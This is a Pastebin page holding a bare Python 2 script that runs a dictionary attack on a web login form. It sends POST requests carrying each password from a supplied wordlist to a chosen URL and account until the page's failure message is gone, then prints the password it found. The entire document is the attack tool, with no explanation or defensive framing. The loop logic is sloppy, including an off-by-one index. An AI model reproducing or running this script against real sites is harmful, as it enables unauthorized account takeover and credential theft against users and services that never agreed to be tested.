Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib, urllib2
- url = raw_input('url: ')
- user = raw_input('accountname: ')
- POST_acc = raw_input('POST var(accountname): ')
- POST_pass = raw_input('POST var(password): ')
- fail = raw_input('failure message: ')
- lst = raw_input('wordlist: ')
- lstfile = open(lst,'r')
- word_list = lstfile.read()
- lstfile.close()
- lst_array = word_list.split()
- dictionary = {}
- d = 0
- while (d<len(lst_array)):
- dictionary[d]=lst_array[d]
- d+=1
- x=0
- c = True
- while c:
- while (x <= len(dictionary) and c==True):
- post_data = urllib.urlencode([(POST_acc,user),(POST_pass,dictionary[x])])
- req = urllib2.Request(url, post_data)
- req.add_header("Content-type", "application/x-www-form-urlencoded")
- page = urllib2.urlopen(req)
- html = page.read()
- page.close()
- html_array = html.split()
- length = len(html_array) - 1
- y = 0
- while (y <= length and c==True):
- if fail not in html:
- print 'passwd: '+dictionary[x]
- c = False
- break
- y+=1
- x+=1
- raw_input('press enter')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement